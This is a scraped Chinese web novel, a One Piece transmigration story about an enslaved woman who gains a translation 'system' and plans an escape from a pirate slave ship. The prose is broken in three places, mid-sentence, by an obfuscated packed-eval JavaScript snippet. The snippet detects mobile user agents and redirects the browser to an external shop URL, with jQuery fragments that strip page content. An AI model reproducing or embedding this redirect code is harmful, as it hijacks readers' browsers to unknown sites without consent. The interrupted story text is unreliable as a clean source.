《从零开始的冒险日志》 1. 系统有用,但不多 将抹布拧干,随着脏水挤入水桶,奥拉舔了舔干裂的唇,她已经连着三天没喝过水了。 不远处的甲板上不断传来哄闹的声音,声音粗犷的男人们好像聊到了什么有趣的话题,正放肆的大笑着。但奥拉更关注他们手里的酒杯,每当听到酒液在杯里的细微响声,与酒杯碰撞时挥洒出砸落在地面的声音时,她都忍不住吞咽口水。 望梅止渴般的行为起不到任何的作用,只会持续不断的折磨着她的理智。她实在是太渴了,哪怕是酒也行啊。 可奥拉很清楚那帮家伙是不可能管她的死活的,她贸然上去讨水喝只会成为那帮家伙戏弄的对象,他们可都是海贼。 这里是海贼的世界,而奥拉并不属于这里。 她来自和平安宁的社会。 记忆只停留在了遭遇车祸的瞬间,醒来时她便已经来到了这个世界。躺在空无一物的木筏上,飘在大海的中央。 她存在于海贼王世界的信息自然而然的出现在她的脑海里。奥拉说不上来那是怎样一种奇特的感觉,像是有一道声音温和的重复着、告诫着什么。 她第一时间仔细检查过,车祸没在她身上留下任何痕迹,又的的确确是她自己的身体,毫无违和,仿佛本该如此。 穿越已成定局,奥拉没在留更多的精力探索自身,因为她很快被木筏求生的绝望洗刷。没有淡水、没有食物,白天被太阳毒晒,晚上没有亮光根本不敢睡觉的日子她生熬了两天,就在她以为自己很快又要死了的时候,这艘大船出现了。 可惜不是她以为的希望,而是艘装满奴隶的海贼船。 心情可谓是一波三折最后折断了断崖式的下降。 唯一值得庆幸的是她暂时活下来了...... 察觉到远处的声音变小,奥拉赶紧回神。她手上的动作不停,拧净的抹布在已经被擦的锃亮的地板上反复擦拭。整个过程她头压得极低,被汗渍粘成几绺的发丝都垂到了地板上,即便如此她仍在努力蜷缩自己的身体,恨不得直接钻进地板里,让任何人都发现不了自己。 可当她的视线里毫无预备的出现了一双黑色靴子时,她手上擦拭的动作还是下意识的停住了。还没等她抬头,窒息与悬空感已经涌了上来。她被人粗暴的提起了衣领,勒的喘不过气。顾不得手里还拿着抹布,她赶紧用手塞进自己的领口,在脖子下方撑起一小片空隙,这才又能正常呼吸起来。 “啧,该死的,今天是谁的值守?又把货物带出来干活,我看他是不想活了。” 男人一张嘴一阵混着食物与酒气的恶臭铺面而来,奥拉强忍着才没摆出什么奇怪的表情。 “这不是昨天捞上来那个哑巴吗?有什么关系,反正也卖不出什么价钱。”搭腔的显然又是一个酒鬼,说出来的话已经含糊不清了。 他打了个酒嗝,语气里的满不在乎与嫌弃毫不掩饰。说话间他朝着奥拉凑近了些,眯缝着眼睛在奥拉身上来回打量,伸手就要往奥拉身上摸。 奥拉被吓得不敢动弹,只尽力控制着表情,嘴角一扯露出了个讨好的笑容,手里紧抓着抹布稍一用力,冰冷与散发着恶臭的脏水从她的指缝间流下,砸到衣物上,和酒鬼靠近的手上。 见状酒鬼皱起眉头快速的甩了几下手,略带不满的看了奥拉一会才反手搭上男人的肩膀,高举酒瓶。 “啧,该死的,说不定还是个傻子,管她干嘛?反正又跑不了。” “走吧喝酒去,等过两天就没时间这么闲了。” 奥拉被扔到地上的时候脸上还使劲扯着嘴角露出小排牙齿,看着海贼们簇拥着离去,她僵住的脸瞬间沉了下去,她死死咬住下唇,直至咬破嘴唇,眼神都还死死盯着海贼们簇拥离开的背影。 刚刚那个酒鬼的眼神还历历在目,奥拉知道对方一定还没有放过她。她必须要想办法逃走,而且是尽快,没有时间让她慢慢准备,可她只是一个普通人,要怎么逃出全是海贼的船,逃出去以后又怎么在大海上生存? 她思考着所有的可能性,再一一否决。皮肤上浮现出层薄汗,持续榨干着她身体里的水分,喉咙里越发的干渴,让她眼前阵阵发黑——前路全是死路。 【叮——】 突然清脆的声音从男人们夸张的大笑中穿行来到奥拉的耳边,打断了她心中的焦躁。 听到陌生的声音她微不可察的抖了一下,她茫然的扭头环顾四周没发觉声音的来源。只觉得自己或许是听错了,她甩甩不清醒的脑袋,正当她要从长计议时,眼前措不及防的出现了一块白屏,她当即大步后退了一步,脚下锁住脚踝的铁链发出铛铛的声响,差点将她搬到在地。 看清白屏的那一瞬间,她呼吸紧促,直接抓起水桶飞似的往船舱里走。 好在这一路上没人再关注她。她没有随意乱走,而是一直沿着楼梯向下,来到船舱的底部。那里是关奴隶的地方,早上奥拉就是从这里被人提出去的。 这是一个空间十分狭小的房间,没有窗户,唯一的入口只有大门。奴隶们被分成三波分别关在不同的笼子里,最外侧的笼子里关着的是女人和孩子,稍微靠里一些的是男人们。 这些被绑来的人似乎已经默认了自己的命运,每个人的脸上都是麻木的。奥拉进来时只有几个年龄稍小的孩子望了过来,大多数人没有任何的反应,只是或躺或蜷缩着腿在层层锁死的铁笼里等待着更加残酷的命运降临。 奥拉视线在奴隶们身上一一划过,最后落到了最里面的那间笼子里。那间笼子的体积比关着两拨人的铁笼加起来还要大。仿佛知道她们都逃不出去一般,外侧两个牢笼里的奴隶们手脚上都无束缚,可最里间为数不多的几个人身上却被比手还粗的铁链死死的捆着。他们每个人都被固定住,不被允许随意活动。 那些被最严厉看管的家伙们,坐着的个头都有两米左右,身上带着明显的鱼类特征,皮肤颜色有蓝有红像是鳞片放在一堆人类中间尤其显眼,很明显他们都是鱼人。 说实话她已经在这里呆了一天了,可还是没有适应这样充斥着绝望的氛围。不适感始终围绕在她的左右,她的认知告诉她人不应该被当作货物售卖,可是她什么都做不了。她只能暗暗祈祷,假若有一天能逃出去的话,她希望她们都能一起离开这里。 奥拉沉默的移开视线。她本应该在关女人们的笼子里,但现在笼子已经被锁上了。她就随意找了个角落坐下去,刚闭目她便尝试呼唤:是系统吗? 很快一行小字提醒和系统信息在白光下显现。 【检测到宿主已完成任务:为绝望填充愤怒的炮火,勇气是人类的赞歌,能量点+1】 【?系统1773(已绑定) 状态:未激活。 能量点:1(抽取能量点倒计时:23:40:58 。注意:能量点即将耗尽,届时将抽取宿主生命值补充,请尽快补充能量 。) 能力:封锁中(1能量点解锁)】 她仔细观察着系统界面,除了白屏上的小字,再无其他信息。 无论是未激活的提醒还是能量点耗尽的注意事项都隐隐透露着一股不靠谱的气息。唯一不同的是,能力那一栏是个正方形的样式,被锁链交叉封锁呈灰暗状,有且只有一个方块,奥拉不确定这是否意味着可以解锁的能力只有一个。 犹豫片刻后,她还是决定先使用能量,看看能力是什么。能量耗尽她有可能会死,但逃不出去她不但会死,可能还会生不如死。现在她没有更多的选择了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988678|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【叮——】 【宿主已解封能力:翻译/24小时,能量点-1。】 【注意:宿主解封能力已达上限,请激活后继续解封。】 能力一栏的小方块左右摇动,锁链推下去,取而代之的是一个大大的翻字。 翻译? 奥拉眉头微松,她上船时就发现了,虽然她人穿越了,但芯子里还是个没学过岛国语的种花人。根本听不懂别人在说些什么,也不会说这里的语言。有了这个能力至少能够听懂别人在说些什么,不算没用的能力。 接着她的视线又转移到了任务完成的提示上,看着意味不明的标题,她陷入了沉思。 下一刻她注意到光屏上的翻译两字正有规律的闪烁。她心念一动,忽然光屏上的字有了变化。 【翻译记录:海圆历1505年鬣狗海贼团 —— ———— ——————】 上面清楚的记录了刚刚她被提起来后两个海贼的所有对话。 因为那个时候的行为,被系统判定为有勇气的反抗了吗?奥拉苦笑,她那个时候纯是因为太害怕了,下意识的举动居然意外帮了自己一把。 可是系统在那个时候就已经绑定了么,还是更早的时候其实就...? 奥拉清空脑中杂念,收起系统的白屏,头靠着墙壁长长的松了口气。不论怎么说,这都是好消息。 她微微偏头,正巧对上一双漆黑的瞳孔。 【叮——???信任值-1。】 奥拉:??她干什么了。 她笑不出来了。 又出现了新的信息,奥拉立马低下头生怕自己在触发什么听起来很不好的debuff。 不过连着触发系统提醒,让奥拉心中逐渐有了些猜测。 或许现在系统正以她的处境区分阵营,海贼为敌对阵营,那么有相同处境的人质们则是友方阵营。在面对两方时她的行为会产生不同的任务,完成对阵营有利的事情会获得能量点,反之——或许信任值降到一定数值后便会开始扣除能量点。 但如果她和这些人质达成合作了呢,到时候系统会不会也奖励能量点? 奥拉眸光微闪,她贴着墙壁往笼子那边靠近了些,笼子里的女人们像是没有察觉到她的靠近没有人将视线投给她。只有几个年龄看起来就不大的孩子睁着圆润的眼睛胆怯的望着她,其中就包括那个被她的笑容吓到减少信任值的孩子。 她尽量放缓了语调让自己甘哑的声音听起来温和些:“嘿,你们好,我叫奥拉。” 想象中的孩子们的各种反应并没有出现,面面相觑中奥拉心中咯噔了一下。紧接着视线中就出现了系统的白屏: 【叮——???信任值-1。】 【叮——???信任值-1。】 【叮......】 奥拉:??? 奥拉还没反应过来,几行字幕就出现在了空中。 年幼的孩子瑟缩的躲到年长些的孩子身后,嘴唇煽动着说了些什么,奥拉听不清。系统却直接给她翻译了出来:“她在说什么?” 年长的孩子则警惕的瞪着奥拉,“别理她,我看到她今天被带出去了。说不定那群海贼给了她什么好处,让她看着我们!” “可是她还带着镣铐。” “嘘,别说了,她在看我们。” 哈哈! 多亏了那帮偷懒的海贼,她与其他人的信任还没建立起来就已将要崩塌了。 而且——奥拉死死盯着那句‘她在说什么’的小字默默攥紧了拳头,什么垃圾系统,翻译功能就只能日译中吗?! 不能交流,她还怎么和这些人达成合作啊! 2. 赌一把 最终奥拉也没能顺利的和这些孩子们搭上话。 合作的事情也只能暂且搁置。 直到海贼送来食物,奥拉都一直呆在关押奴隶的船舱里。来送饭的是个身材消瘦的中年男人,他的脸上带着一条可怖的伤疤。 疤脸海贼拎着装满面包的铁桶,只在路过她的时候施舍般的扔下一块又黑又硬的面包。面包掉在地上连滚了几圈,可它实在太黑了,哪怕奥拉很快把它捡起来使劲在身上擦了一会儿,也和没擦时没什么区别,根本看不到有没有灰尘。 奥拉无奈只能先把食物攥在手里,重新缩回她的角落,唯有眼神小心翼翼的跟随着疤脸海贼的身影。 这时她才注意到分下来的食物并不一样:她只分到了一小块还没有手掌大的面包,明显是被掰过的或者很有可能是吃剩的。笼子里的人分到的则是完整的,要比她手里的大出一圈。而等疤脸海贼走到关押鱼人的铁笼前时,铁通里似乎已经空了。 鱼人们什么都没有得到。 疤脸海贼不可能是忘了,他是故意的。 这并不难理解。奴隶是要卖钱的,必须要活口,所以要给奴隶吃饭,至少看起来不能像病殃殃不值钱的样子。虽然鱼人更值钱,但同时他们的身体素质是人类的数倍,这些海贼或许在害怕鱼人们逃跑吧,所以要让他们都饿着,没有力气去挣扎。 而她因为语言问题被海贼们认为是哑巴,身价自然要比这里所有人都要低,会有这样的待遇也不奇怪。 奥拉不动声色的收回视线,将怀里的面包撕成小块一点点塞进嘴里。这块面包不知道都经历了什么才被送到她手上,即便被口水湿润过吞下喉时仍带着粗粒感,苦涩瞬间在舌尖蔓延开。但亏空的胃里逐渐被填充,即便没有任何饱食的感觉,她仍感觉到一种安定,一口口吃下的都是能活下去的希望。 珍惜的将最后一口吞入腹中时,疤脸海贼早就离开了。整个船舱里此时才像活了起来,原本死寂一片的环境下掺杂进了进食的声音、小声的交谈与低低的啜泣。环顾四周,奥拉舔舔唇角,黑面包那难吃的味道犹存,她的眼中却开始迸发出一线光彩。 她还有机会,她们都还有机会。 吃完饭后的一段时间内,奥拉一直在闭着眼盘算。要逃出去,单凭她自己是不可能的,她需要了解这条船,也需要人手帮忙。以她现在被忽视和嫌弃的处境来看,偷偷在船里行动应该没有太大问题。但如何取得人质们的信任她始终没有头绪,不能交流的话,那只能想办法做些什么了...... 船在海上行驶的并不安稳,她感觉好像只是闭了会眼,很快就又被晃醒,像是在深夜的火车卧铺,细微的声音和动荡都在影响着她。不知过去了多久,奥拉迷迷糊糊中似乎听到了轻微的打鼾声。她感觉眼皮重的抬不开,当即用力拧了把自己大腿上的软肉,被自己掐的呲牙咧嘴的,彻底清醒了。 奥拉并不完全信任这些命运共同体们,也害怕在产生什么不必要的误会,刚开始也就只能趁着人质们熟睡时偷偷出去。一时半会她也无法取得人质们的信任,等她展示了自己的价值后,或许信任问题会迎刃而解吧。 奥拉再三确认所有人都是闭着眼的状态后走向了大门,手掌放在那扇阻拦在眼前的门上,她深吸一口气,缓缓将它推开。船舱里暖黄色的灯光霎时顺着门缝争先恐后的钻进来,察觉到门口没有人看守,她定了定神,向前迈出一步将自己完全暴露在灯光之下。 她并未回头,也因此未曾发觉,在她背后悄然睁开了几双眼睛。 她赤脚踩在木质的地板上,上了年纪的地板发出吱呀的惨叫,在无声的环境里格外明显。 她走的很慢,几乎走几步就要停下来听听声音,确保没问题再继续前进。整个船舱底部的面积并不大,除了关着奴隶的船舱就还只有一间堆着物资的仓库。 那里也没人看守,奥拉不敢随意开灯,也不敢停留太长时间,只借着走廊里的光她大致分辨了下。堆在最外面的有拖把抹布水桶这类的清洁工具,也有渔网麻布袋绳子这类日常使用的工具,有的放在箱子里,有的堆成一堆铺在地上,但无一例外都铺了层灰,奥拉猜测可能是备用的物资所以积压在这里。 奥拉想了想,离开前在杂物堆里抽出了把拖把。 接着,她开始沿着楼梯向上走。刚走到一半时,她就隐约可以听到人声了。模糊交谈的声音让她后退了一步,她站在前往中层的楼梯上踟蹰了会儿,通过系统发现也没有触发翻译能力,才不得不又咬牙继续前进。刚一到达这层,一股鲜香便飘到了她的鼻间勾的她不停分泌唾液,肚子里馋虫也不受控制的咕咕直叫。 是食物的味道!奥拉朝着那个方向快走了两步,扣着脚踝的枷锁在地面曾出哗哗的响声才勉强带回了她的理智。 不行,现在不能过去,餐厅的人太多了!她得尽快离开这里。 奥拉正想退回到楼梯口,前方的通道里却无预料的响起了脚步声。左右两侧都是船舱墙体根本无处可躲,她现在跑回去是来不及的,而且她无法确认对方是否已经发现了她。 她不能跑。 奥拉快速垂下头,握紧拖把,开始机械性的摆动手臂,装作正在打扫的模样。 “喂,你!” 脚步声在离她不远处停下。 她尽量控制着自己脸上的表情,抬头间扯出一个扭曲的笑容。 海贼狐疑的看着奥拉,他嘴里叼着根烟,手中的火机刚刚扣上盖子。他的视线从她手中的拖把转移到双脚间带着的枷锁,身上那股警惕消散转而换成了股了然的戏谑:“哑巴?把这扫干净点。” 说罢他不在关注奥拉,摇摇晃晃的从奥尔身边离开。就在这时,奥拉方向一变,拖把就铲到了抽烟海贼的脚下。 “C,该死的,看不着大爷吗?” 抽烟海贼被绊的一个踉跄险些摔倒,伸手拽着奥拉的领口就把人拉到了身前。 奥拉脸上表情未变,她一言不发,越等心中却越发寒冷,如坠冰窟。 系统,没有提示。 怎么回事?为什么没有挑衅判定? “你想死吗?” 见奥拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988679|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久久没有回话,抽烟海贼眼神冰冷,另一只手直接掐住了奥拉的脖子,手指不断收缩但很快停住,停在一个微妙的力度上。 他不敢杀自己。 察觉到抽烟海贼力度的变化,奥拉反而冷静了下来,她狠狠咬了下舌尖,直到口腔里出现血腥味。攥着拖把的手用力到指节泛白,她很清楚机会不多了,那就要趁还能行动的时候—— 她用仅剩的力气挥起拖把捅向抽烟海贼的腹部。 可抽烟海贼的反应要比她快的多,她还没碰到抽烟海贼的衣角,刹那间就被甩飞了出去。脊背重重的砸在墙上使得木板出现了龟裂,她顺着墙壁掉到地上,一张嘴鲜血便控制不住的喷了出来 “妈的!” 率先反应过来的居然是抽烟海贼,他双手抓着自己的脑袋大叫出声,看着倒在血泊里的奥拉他两个眼珠子都要瞪出眼眶了。他连忙上前扶起一动不动的奥拉,伸出根手指试探了下奥拉的鼻息,光秃秃的脑门上已经冒出了细密的汗珠。 “不准死,你要是死了老子就完了!” 抽烟海贼回想起上一次船上有人搞死了奴隶之后老大暴怒的样子,浑身抖得更厉害了。 他明明就收着力了,都怪这个该死的奴隶,想死也别带上他啊!真倒霉!!就算要死,也不能让人知道是他杀的!! 抽烟海贼骂骂咧咧的拉着奥拉的胳膊把她提起来,脚步一转就朝着舱底走去。 送去船医室是不可能送去的,如果让老大知道有个奴隶险些在他手里丧命...抽烟海贼眉毛竖起,不可能让第二个人知道他还接触过这该死的奴隶,必须把她藏起来! 他走的极快,明显在躲避什么。很快走到了舱底的仓库门口。这里存放的基本上都是不常用的东西,以防万一的备用品,除了靠岸时补充物资,平时很少有人会到这里来。 抽烟海贼拽着奥拉踏进仓库,随手清空了个箱子,哗啦啦的工具倒了一地,尘土飞起,他捂着鼻子看也不看就把奥拉扔进了箱子里。临走前用白布将箱子整个笼罩住,最后在上面堆上其他箱子,推进角落里。做完这一切他又在仓库里绕了一圈没发现疏漏后,他才想着点根烟。 可是大手在身上摸了一圈,他也没找到火机。他回忆了一下可能是丢在上面了,忍不住低声又骂了一句。真是倒霉,别让他知道是谁把奴隶叫出去干活的!现在就只能祈祷这个家伙不会被发现了...... 抽烟海贼不敢肯定,也不敢赌老大会不会因为品质不高的货物死亡而放过他。想到以前那惨烈的一幕,他后背发凉。 等找到机会就把这奴隶扔海里去,到时候老大就只会怪罪没看好奴隶的那家伙...... 想罢他不再多呆,头也不回的跑走了。 在逼仄黑暗的箱子里,只有奥拉自己的呼吸声。 时而粗重,时而轻若游丝,仿若随时会停止。 许久,都没在有别的声响。 忽然—— 一簇橘黄的火焰从她的手中悄然出现,火焰的光晕照亮了她被血迹掩盖但异常平静的脸。 3. 大难不死 鲁莽有时候会致命,但不完全是坏事。 顾不得身上的疼痛,奥拉开始查看系统提示: 【检测到宿主已完成任务:为绝望填充愤怒的炮火,勇气是人类的赞歌,能量点+1】 【?系统1773(已绑定) 状态:未激活。 能量点:1(抽取能量点倒计时:12:10:21 。注意:能量点即将耗尽,届时将抽取宿主生命值补充,请尽快补充能量 。) 能力:翻】 她轻捏手中的火机,手指落在光滑的外壳上,感受着已经被手掌捂的温乎的热度,长呼出一口气,紧绷的神经终于放松下来。 察觉到抽烟海贼没有直接下死手时,她只是想赌一把。只要她没死,不论是把她带去治疗还是丢回船舱自生自灭都是她赚。 如果去了船医室,为了让她这个货物能活着到达目的地,她或许能获得一些食物和水。如果回到船舱,那她就可以趁着这次向人质们证明她和她们的处境是一样的,看到她的惨样或许能减少一些对她的怀疑。 只是没想到抽烟海贼的反应这么大,居然想直接毁尸灭迹。虽然不知道为什么,但这是一个好开头。这意味着就算她忽然消失在奴隶船舱里也不会那么快被发现,那家伙估计要为她遮掩行踪,至少最近几天不会让她的失踪被发现。 趁抽烟海贼等到时机真的开始毁尸灭迹之前,她必须尽快离开这里。 奥拉尽量蜷起身体,将双脚蹬住头顶的木板,背靠着地双手撑住,随即双腿猛地向上用力。 头顶的木板纹丝不动,背上的伤因为用力挤压火辣辣的痛,她的眼前阵阵发黑,只能作罢。改成蹲在箱子里,用肩膀和手臂去顶起箱子,可依然无法移开头顶的遮挡。 她喘着粗气跌坐下去,肩膀狠狠撞到了箱子的一侧。突然她听见了当的一声,好像是有什么东西落地的声音。 她忍着剧痛,调出系统接着光屏的亮度朝着发声地摸索。 手指首先触碰到了光滑的外壳,是打火机,可能是动作太大从身上掉下来了。 奥拉当时全凭着物资越多选择越多的想法顺带偷的火机,并没有仔细观察和使用它的想法。当下无法顺利出去,她便也不得不将注意力移给了火机几分。火机的外壳或许是金属材质打造的,机盖的四角打磨的十分平滑,摸起来并不咯人。 但它十分坚硬。 思考片刻后,奥拉将它底部的圆角对准木箱侧板,找准位置用力砸了下去。她眯起眼睛,用手顺着砸下去的位置感受,这一摸手碰到了细小的木头尖刺和凹下去的小洞,这个发现瞬间让她喜出望外。 有用! 她调整姿势,攥着火机再次用力朝着相同的位置凿去。每凿一下她便要停下来摸摸侧板凹出去的洞,下一次开始她便更加耐心的调整手的位置。 凿动、感受、调整。 时间在一分一秒中流走,直到她双手颤抖,手臂开始像灌了铅一样的沉重,侧板上终于出现了细小的裂缝。她将脸凑近那个小小的缺口,用力呼吸了几口稍显新鲜的空气,努力让昏沉的头脑清醒一些。 这是一个大约只有小拇指粗的洞口,奥拉看了眼时间,能量抽取倒计时已经来到了【10:01:29】,大约过去了两个小时。 她抬起右臂用肩膀上的布料擦去脸上的汗水,让手臂缓了一会后,换了个角度,沿着孔洞的上方继续开凿。 当时间来到【7:28:56】时,奥拉成功在侧板凿出了一道大概有小臂一半长,约1cm宽度的缝隙。接着她再次用背抵住后墙,只不过这次双脚踩到了侧板的缝隙边缘。她咬紧牙关尝试用脚将缝隙在扩大些。 估计是因为前方并没有东西遮挡,这次奥拉稍微尝试了几次后,木箱侧板很快被踢掉了大约手掌大小的一块。紧接着她开始扩大这个洞口,当她能够顺着洞口勉强爬出来时,全身已经被汗水浸透。她摊在地板上,任由木屑和灰沉沾到身上,体力几乎耗尽,嘴唇干裂,胃里也在发出抗议。 她已经快要撑不住了,必须想办法获得食物和水才行。 扶着木箱子的边缘,她勉强站立起来。后背的疼痛比在箱子里时更明显了,她甚至感觉五脏六腑都在发出痛苦的求救,她不知道是伤势加重了还是头晕眼花的错觉。 只能忍耐着,借助系统的光,她首先收拾了一下自己逃出来的痕迹,重物她搬不动,就只能将木屑木板碎片塞回木箱里,在扯来一大块粗麻布挡在裂孔前面。 做完这些,她才开始打量这个仓库。 它比奥拉当时匆匆一瞥时看见的空间更大些。 处处透露着股潮湿的霉味,鼓鼓囊囊的麻袋、装着杂物的木箱摆的四处都是。再往里看还有好几个货架,装奥拉的箱子就在离货架不远处的墙角,位置非常隐蔽。 她拖着疲软的脚步,试图找到能够装水的木桶或是吃的东西。 她在货架上找到了放着螺丝刀、锤子、钉子、尺子之类工具的工具箱,麻布袋里翻出了几件厚实的旧衣服,和形状大小不一的叠放在一起的帆布。期间她还发现了几盏油烛灯,她将这些油烛灯的位置记下,并没有冒然点亮它们。 她不死心的在仓库里翻了一圈又一圈,最后绝望的发现这个仓库里没有任何的食物储备,自然也没有能喝的淡水或者酒水。那她就必须去上面,去厨房走一趟了...... 虽然失落,但必须要继续行动起来。她脑中想着仓库里发现的工具们,开始着手准备。 她将帆布缠绕在身上直到有一定厚度后,在用随处可见的细麻绳固定,算是做了层简易的护甲,可能抵挡不了什么武器的攻击,但至少在被人揍飞以后摔地上不会那么疼了。 然后脱下自己单薄的外衣,换上一件内侧缝着口袋背面印着海贼旗的连帽棉服。她拉下兜帽,宽大的帽檐几乎将她整张脸都遮住了,只露出一点下巴。 这种傻瓜伪装放在别的地方可能会被一眼揭穿,但谁让这里是海贼王呢,她印象里的海贼们好像都不太聪明的样子——哪怕被发现了,或许她能伪装成他们的同伙。 她知道这不是万无一失的方法,她能否安全的上楼,再从楼上回来都是在赌,于是她挑了两把方便携带的螺丝刀藏在衣衫里侧的口袋里,必要的时候还能够当做防身的武器。 现在,她看起来就像一个穿着不合身外套、身形有些怪异的影子,静静的躲藏在仓库的阴暗里。 出门前奥拉调出了系统,此时倒计时已经过去了一个小时,数字【6:21:01】正在不断跳动着。 奴隶船舱里没有窗户,无法分辨白天和黑夜。所以她只能依靠系统的能量抽取倒计时来推测时间,她第一次被带上甲板打扫卫生的那日日头正高,假设是中午或者下午的话,由这个时间段的24小时开始往后推。 海贼们给奴隶送饭的时间过去将近5个小时大概率是黄昏或者傍晚,倒计时剩余18小时。她离开奴隶船舱时时间又减少了5个小时,遇到抽烟海贼的时间可能是早饭时间,倒计时剩余13小时。 被关到仓库里到现在过去了六个小时,那么现在或许是中午、或者下午的时间段,如果推测没错的话,那么现在正是大部分人都清醒且闲着的时候,并不适合外出探索。至少要等到凌晨,基本上人都睡了的时候,到时候只要躲开守夜的海贼就可以了。 而且,有件事情奥拉还想在确认一下。 奥拉退回到仓库的深处,坐在木箱上,闭上了眼睛。 脑海中勾勒着今天出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988680|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时见到的船舱内的布置,手中现有的工具,和她仅剩的时间。 她还记得第一天从甲板上海贼们嘴里听到的信息,两天左右的时间可能会发生什么事情,很有可能是到岸的时间。 她无法确认到岸后是否立马就要开始交易奴隶,且她失踪的状态肯定无法维持很久,就算没有被发现,抽烟海贼也会尽快来解决她这个麻烦。那么剩余的这一天时间将会非常关键! 至于如何获取被绑走的奴隶们的信任,让她们也出一份力......奥拉已经逐渐有了想法。 当倒计时即将到达尾声,走到【2:10:03】时,奥拉小心翼翼的来到了门口,她手中握着把锤子。随后将耳朵紧紧贴在大门上,仔细的听着外面的声音。 她等了好一会儿,都没听见动静,但她依然没有放弃。 终于,她敏锐的听到了脚步声,由于有张门挡着,她听的并不真切,只依稀辨别那脚步声由远及近,但似乎并不是朝这边过来的,很快声音就不见了。 她眉眼微垂,半响后,轻轻拉开了一道缝隙,门外的通道里没有人。她手扒在门檐上,正犹豫着要不要出去看看时,一阵急促的脚步声忽然从楼梯上传来。 还没等她关好门,一个略有些熟悉的身影就出现在了眼前。 奥拉瞳孔微缩——是第一天的那个酒鬼海贼,他居然找过来了! 好在对方背对着她,显然没发现仓库里还有双眼睛正看着他。 看他的方向,奥拉肯定他是要去奴隶船舱的。 奥拉瞬间冷汗直流,她猜错了,抽烟海贼居然没有想办法善后吗?但刚刚那个脚步声是? 她攥紧了锤子,心脏像是要跳出胸腔一样不安分的乱撞。当她知道自己穿到了海贼王的世界时,她就料想到未来或许会有这一天。 这里是弱肉强食,海贼遍地走,海军不可信,贵族权力大于一切的世界,即便她身在和平的岛屿,也无法保证自己可以安全的生活一辈子,迟早有一天,她可能会举起武器。 她自知,她不过是一个手无寸铁之力的普通人,哪怕举起武器,也杀不了任何人。 但是,明明都来到了这个世界,什么都不做的话,总感觉—— 不甘心。 奥拉又将门稍稍拉开了些,眼睛盯着酒鬼海贼的背影宛若冰凉的刀子。拿着武器的手颤抖着,被她用另一手死死压住才勉强稳定。 她知道如果让酒鬼海贼发现她不见了并且传播出去,一定会影响她接下来的行动。 直面海贼她肯定打不过,只能想办法智取,至少要让这家话说不出话来。奥拉视线游移,扫过酒鬼海贼腰间别着的枪和手中的酒杯,心中有了想法。 奥拉深吸一口气,轻轻合上门。快速的从身后找到麻布袋和油烛灯后,刚要出门便听到一声巨响。 紧接着是激烈的争吵。 “老大吩咐了,马上要登岛了,货物不能出意外,登岛前都不能随意接触奴隶。” “靠,那小娘们又卖不出什么钱,让开!” “这话你敢对老大说吗?之前那些人什么下场你难道忘了?你难道像变成那副样子?” “妈的...” 奥拉眼睛一眨不眨的看着从门缝飘进来的弹幕,目瞪口呆。系统翻译某种意义上来说,也是个超强情报收集器了,要趁翻译功能结束前,抓紧收集情报了。 她背靠着门,听着外面渐弱的交谈声,并没有放下心去。依旧警惕的听着外面的动静,等待了会确认没有人向仓库这边走来后才彻底松气。 紧绷的肩膀霎时间垮了下来。 不过,最后验证了她的猜测,抽烟海贼果然想办法为她遮掩了。而且登岛的信息已经确认,她最迟今晚必须要开始行动了。 4. 天要亡我 按照前一天的记忆,奥拉很顺利的摸到了厨房。 她推测的时间没有太大偏差,整个船上都静悄悄的,像是走入了无人之地。即便如此一路上她仍时刻警惕着,几乎走一步就要停下来观察一下周围。 幸运的是,这天晚上她没在碰到任何人。狭长的通道里也只有她脚上的枷锁时不时被带动着发出哗哗的声响。 厨房门并没有上锁,她轻轻推开门扉,快速钻入缝隙里,背部贴着墙壁缓慢的移动。 只有她自己能看到的系统白屏为她照亮,她刚一抬眼,视线就死死粘在了比她两臂伸直还要宽的大冰箱上面,这么大的冰箱足足有两个。但是上面都落了好几层锁,那架势比捆鱼人也差不了多少了。 奥拉暗暗叹息,尝试将冰箱门开个缝隙,看手能不能伸进去。但这锁按的太牢,她费劲半天,也就只能看见点冰箱灯的光亮。 冰箱是没办法了,她转头又仔细在厨房里探索起来。 奥拉估量厨房的总面积要比船底关押奴隶的船舱和仓库船舱加起来都要大,心下不由得一沉,这说明船上的海贼数量远比她想的要多。 她心中不安,在厨房里行动的速度便也加快了些许。她绕过中间放着锅碗瓢盆的方桌,刚看到灶台,不由得眼前一亮。 灶台上空无一物,台面都被清洁的很干净。两个水池坐落在灶台的两头,明晃晃的水龙头,银色的外表下仿若闪烁着珍贵宝藏的光芒。 她疾步上前,这才发现灶台比她认知里的要高上不少,要比她的腰还要高出些。 焦急间她也不管这些,整个人将肚子贴在冰冷的台面上,伸手去开水。 “哗啦——!”清凉的水直冲冲的落下,落到奥拉来不及收回的手臂上。 